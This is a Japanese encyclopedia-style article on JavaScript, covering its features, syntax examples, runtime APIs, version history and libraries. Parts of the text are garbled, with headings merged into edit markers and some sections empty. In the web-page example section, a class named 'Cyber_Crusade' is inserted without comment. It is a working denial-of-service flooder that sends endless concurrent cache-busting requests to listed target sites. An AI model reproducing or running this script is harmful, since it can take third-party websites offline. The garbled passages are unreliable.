JavaScript
JavaScript(ジャバスクリプト)は、プログラミング言語であり、HyperText Markup Language(HTML)やCascading Style Sheets(CSS)と並ぶ World Wide Web(WWW)の中核技術の一つである。
![]() logo.jsによるJavaScriptの非公式ロゴ | |
パラダイム | マルチパラダイム |
---|---|
登場時期 | 1995年 |
設計者 | ブレンダン・アイク |
開発者 | ネットスケープコミュニケーションズ、Mozilla Foundation |
最新リリース |
ECMAScript 2023[1] ![]() |
評価版リリース |
ECMAScript 2025[2] ![]() |
型付け | ダック・タイピング |
主な処理系 | JavaScriptCore、KJS、Nitro、Rhino、SpiderMonkey、V8ほか |
方言 | JScript |
影響を受けた言語 |
Scheme、Self、Java、Lua、Perl、AWK、HyperTalk、Python ![]() |
影響を与えた言語 | Dart、Objective-J、Google Apps Script、TypeScript |
プラットフォーム | クロスプラットフォーム |
ウェブサイト |
www |
拡張子 |
.js 、.cjs 、.mjs |
![](http://upload.wikimedia.org/wikipedia/commons/thumb/9/91/JavaScript_screenshot.png/220px-JavaScript_screenshot.png)
概要
編集プログラミング言語としての特徴
編集if
・for
などの制御構造による手続き型プログラミングスタイル
●.prototype
・class
などのオブジェクトによるオブジェクト指向プログラミングスタイル
●map
・高階関数などの関数操作による関数型プログラミングスタイル
これらを可能にしているプログラミング言語としての特徴に、以下のことが挙げられる。オブジェクト指向の面では、JavaScriptのオブジェクトはクラスベースではなくプロトタイプベースである[注釈1]。関数型の面では、第一級関数をサポートし関数を第一級オブジェクトとして扱える。
AptanaやEclipse, NetBeans, IntelliJ IDEAなどの統合開発環境はJavaScriptをサポートしており、大規模開発が可能になっている。さらにExt JSなどの本格的なGUIライブラリの登場により、デスクトップアプリケーションと遜色ないユーザインタフェースの構築が可能になった。
並行処理
編集Promise
、Pr
omise
を同期的なコードのように記述できるAsync/await構文をもつ。
またJavaScriptは並列処理による並行処理もサポートしている︵下記参照︶。
並列処理
編集歴史
編集誕生
編集発展
編集JavaScript 2.0
編集文法
編集基本的な文法
編集JavaScriptの変数は var[14], let[15]およびconst[16] キーワードを使用して宣言できる。
let x; // 変数xの宣言。値が未指定のため、特殊な値である undefined が入った状態となる。 let y = 2; // 変数yの宣言。同時に2が代入される。 const z = 5; // 定数zの宣言。同時に5が代入される。定数であるため、書き換えることはできない。
console.log("Hello World!");
再帰関数は以下のように書ける。
function factorial(n) {
if (n == 0) {
return 1;
}
return n * factorial(n - 1);
}
無名関数(またはラムダ式)の構文とクロージャの例は以下である。
// ECMAScript 5以前の記法
var displayClosure = function() {
let count = 0;
// ECMAScript 2015以降で可能な記法
return ()=> {
return ++count;
};
}
var inc = displayClosure();
inc(); // 1 が返る
inc(); // 2 が返る
inc(); // 3 が返る
var sum = function(...args) {
let x = 0;
for (const v of args) {
x += v;
}
return x;
}
sum(1, 2, 3); // 6 が返る
即時実行関数式 (IIFE) の例。関数を用いることで変数をクロージャに閉じ込めることができる。
var v;
v = 1;
var getValue = (function(v) {
return function() {return v;};
})(v);
v = 2;
getValue(); // 1 が返る
複雑な例
編集以下のサンプルコードは、様々なJavaScriptの機能を示したものである。
"use strict"; // strictモードの宣言 /* 2つの数値の最小公倍数を求める */ function LCMCalculator(x, y) { // コンストラクタ関数 const checkInt = (x)=> { // 入れ子の関数 if (x % 1 !== 0) { throw new TypeError(x + " is not an integer"); // 例外のスロー } return x; }; // 行末のセミコロンは省略可能な場合があるが、省略は推奨されない。 this.a = checkInt(x) this.b = checkInt(y); } // オブジェクトのプロトタイプはコンストラクタ関数の prototype プロパティに格納する LCMCalculator.prototype = { // オブジェクトリテラル constructor: LCMCalculator, // このようにプロトタイプを上書きする場合は、 // constructorプロパティにコンストラクタ関数名を再指定する gcd: function () { // 最大公約数を計算するメソッド // 「ユークリッドの互除法」アルゴリズムで計算 let a = Math.abs(this.a), b = Math.abs(this.b); if (a < b) { // 変数の入れ替え const t = b; b = a; a = t; } while (b !== 0) { const t = b; b = a % b; a = t; } // 最大公約数の計算は一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。 // (これにより LCMCalculator.prototype.gcd の代わりに this.gcd が呼ばれるようになる。 // ただし、計算後にプロパティaやbが変更されてしまうと、結果は誤りとなる。) // なお 'gcd' === "gcd", this['gcd'] === this.gcd である。 this['gcd'] = function () { return a; }; return a; }, lcm : function () { // 最小公倍数を計算するメソッド // 変数名は、オブジェクトのプロパティと衝突しない。例)lcm は this.lcm とは異なる。 // 以下では、浮動小数の精度の問題を避けるために this.a * this.b としていない。 const lcm = this.a/this.gcd()*this.b; // 最小公倍数の計算も一度でよいため、自分自身を計算済みの結果を返すメソッドで再定義(上書き)する。 this.lcm = function () { return lcm; }; return lcm; }, toString: function () { // toStringはオブジェクトを文字列に変換するときに呼ばれるメソッド。 // テンプレート文字列により文字列中に値を埋め込むことができる。 return `LCMCalculator: a = ${this.a}, b = ${this.b}`; } }; // 汎用の出力関数の定義。この実装はWebブラウザ上でのみ動作する。 function output(x) { document.body.appendChild(document.createTextNode(x)); document.body.appendChild(document.createElement('br')); } // 無名関数はさまざまな書き方が可能 [[25, 55], [21, 56], [22, 58], [28, 56]].map(([a, b])=> new LCMCalculator(a, b)) // 配列リテラル + マッピング関数 .sort((a, b)=> a.lcm() - b.lcm()) // 指定した比較関数を用いたソート .forEach(obj=> { output(obj + ", gcd = " + obj.gcd() + ", lcm = " + obj.lcm()); });
上記コードをウェブブラウザ上で実行すると、以下の結果が表示される。
LCMCalculator: a = 28, b = 56, gcd = 28, lcm = 56
LCMCalculator: a = 21, b = 56, gcd = 7, lcm = 168
LCMCalculator: a = 25, b = 55, gcd = 5, lcm = 275
LCMCalculator: a = 22, b = 58, gcd = 2, lcm = 638
機能
編集グローバルオブジェクト
編集JavaScriptはコードの最上階層に属するグローバルオブジェクトを提供している。JavaScriptにおけるグローバルオブジェクトはglobalThis
である[21]。
エコシステム
編集実行環境API
編集それぞれのJavaScript実行環境において様々なAPIが存在しており、JavaScriptからそれらを呼び出すことができる。
Webブラウザ
編集HTML要素をJavaScriptから操作するためのDOM API(例: document.querySelector
)、HTTPリクエストを送信するFetch API、マルチスレッドを可能にするWorkerなどが定義されている。これらは言語仕様であるECMAScriptからは独立した各々の仕様書でAPIが定義され、ブラウザ実装がJavaScriptバインディングを提供することでJavaScriptからの呼び出しが可能になっている。
Node.js
編集ファイルシステムにアクセスするためのfs
API(モジュール)や実行プロセスと相互作用するprocess
APIなどが定義されている。Webブラウザがもつ強いサンドボックス要件が緩和されている点がNode.js APIの特徴の1つである。
altJS
編集パッケージ管理
編集JavaScriptエコシステムには多様なライブラリ(パッケージ)が存在する。パッケージの導入・バージョン調整・廃棄を担う管理ソフトウェアとしてnpm
やyarn
がある。
利用
編集WebブラウザにおけるHTML操作を目的として作られたJavaScriptは、2020年現在幅広い領域で利用されている。
- ウェブページ・ウェブサイト・ウェブアプリケーション(ブラウザクライアント上での動作)
- ウェブバックエンドサーバ (Node.js)
- デスクトップアプリケーション(例: Electron (ソフトウェア))
- モバイルアプリケーション (例: React Native)
Webページでの利用
編集例
編集以下はJavaScriptとDOMを含むWebページのごく単純な例である。
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<title>単純な例</title>
<body>
<h1 id="header">これはJavaScriptです</h1>
<script>
document.body.appendChild(document.createTextNode('Hello World!'));
var h1 = document.getElementById('header'); // id='header'の<h1>要素の参照を取得。
h1 = document.getElementsByTagName('h1')[0]; // または<h1>要素を全て取得してそこから先頭を取得。
</script>
<noscript>表示中のブラウザはJavaScriptをサポートしていないか、OFFになっています。</noscript>
</body>
</html>
// クラス名 class Cyber_Crusade { // コンストラクタ constructor(limit) { // 1秒ごとの送信頻度を設定 this.CONCURRENCY_LIMIT = limit; // 非同期関数を定義 this.fetchWithTimeout = this.fetchWithTimeout.bind(this); // リクエスト送信。 this.punish_heterodoxy = this.punish_heterodoxy.bind(this); // 各サイトにデータリクエストを送る。 } // 対象のサイトを指定 heresy_sites = { 'https://example.com/': { number_of_requests: 0, number_of_errored_responses: 0 }, 'https://www.example.com/': { number_of_requests: 0, number_of_errored_responses: 0 }, }; // 1秒ごとの送信頻度 CONCURRENCY_LIMIT = 1000; queue = []; // リクエスト送信 async fetchWithTimeout(resource, options) { // コントローラーを取得 const controller = new AbortController(); // IDを取得 const id = setTimeout(() => controller.abort(), options.timeout); // リクエスト処理を返す。 return fetch(resource, { method: 'GET', // GET方式 mode: 'no-cors', // CORS-safelisted methodsとCORS-safelisted request-headersだけを使ったリクエストを送る。 signal: controller.signal // オブジェクトのインスタンスを返 }).then((response) => { // 成功した場合 clearTimeout(id); // タイムアウトを消す。 return response; // 応答結果を返す。 }).catch((error) => { // 失敗した場合 console.log(error.code); // エラーコードを出力 clearTimeout(id); // タイムアウトを消す。 throw error; // エラーを投げる。 }); } // 各ターゲットにデータ送信する。 async punish_heterodoxy(target) { //for文を使った無限ループ for (var i = 0;; ++i) { // リクエストの数が規定数になったら if (this.queue.length > this.CONCURRENCY_LIMIT) { // 最初のリクエストを削除する。 await this.queue.shift() } // 乱数を生成 var rand = i % 3 === 0 ? '' : ('?' + Math.random() * 2000) // 送信リクエストを追加する。 this.queue.push( // 関数を実行する(時間制限:1秒) this.fetchWithTimeout(target+rand, { timeout: 1000 }) // エラーがある場合はエラーを取得する。 .catch((error) => { if (error.code === 20 /* ABORT */) { return; } this.heresy_sites[target].number_of_errored_responses++; }) // 処理後の処理をする。 .then((response) => { // エラーがある場合はエラー処理を入れる。 if (response && !response.ok) { this.heresy_sites[target].number_of_errored_responses++; } // リクエスト数を追加する。 this.heresy_sites[target].number_of_requests++; }) ) } } // 実行関数 inquisitio(){ // 全てのターゲット要素に対してデータ送信処理を実行する。 Object.keys(this.heresy_sites).map(this.punish_heterodoxy); } } // オブジェクト呼び出し var cyber_crusade = new Cyber_Crusade(500); // 実行 cyber_crusade.inquisitio();
その他の環境での利用
編集バージョンとブラウザの対応表
編集バージョン | 日付 | 規格 | Netscape Navigator |
Mozilla Firefox |
Internet Explorer |
Opera | Safari |
---|---|---|---|---|---|---|---|
1.0 | 1996年3月 | 2.0 | 3.0 | ||||
1.1 | 1996年8月 | 3.0 | |||||
1.2 | 1997年7月 | 4.0-4.05 | |||||
1.3 | 1998年10月 | ECMA-262 1st edition / ECMA-262 2nd edition | 4.06-4.7x | 4.0 | 5.0 | ||
1.4 | Netscape Server |
6.0 | |||||
1.5 | 2000年11月 | ECMA-262 3rd edition | 6.0 | 1.0 | 5.5 (JScript 5.5), 6.0 (JScript 5.6), 7.0 (JScript 5.7), 8.0 (JScript 6.0) |
||
1.6 | 2005年11月 | 1.5 + Array extras + Array and String generics + E4X | 7.0-8.0 | 1.5 | 7.0-9.0 | 3.0, 3.1 | |
1.7 | 2006年10月 | 1.6 + Pythonic generators + Iterators + let | 2.0 | 3.2-5.1 | |||
1.8 | 2008年7月 | 1.7 + Generator expressions + Expression closures | 3.0 | ||||
1.8.1 | 1.8 + Minor Updates | 3.5 | |||||
1.9 | 1.8.1 + ECMAScript 5[24] Compliance | 4.0-11.0 |
ライブラリ
編集代表的なJavaScriptライブラリは以下のとおり。
脚注
編集注釈
編集出典
編集関連項目
編集- JSON(JavaScript Object Notation)- JavaScriptにおけるオブジェクトの記法をベースとした軽量なデータ記述言語。
- Category:JavaScriptを生成する言語も参照。
外部リンク
編集- 英語
- 日本語
- JavaScript - MDN
- JavaScript講座 - リズムファクトリー社
- JScript - Microsoft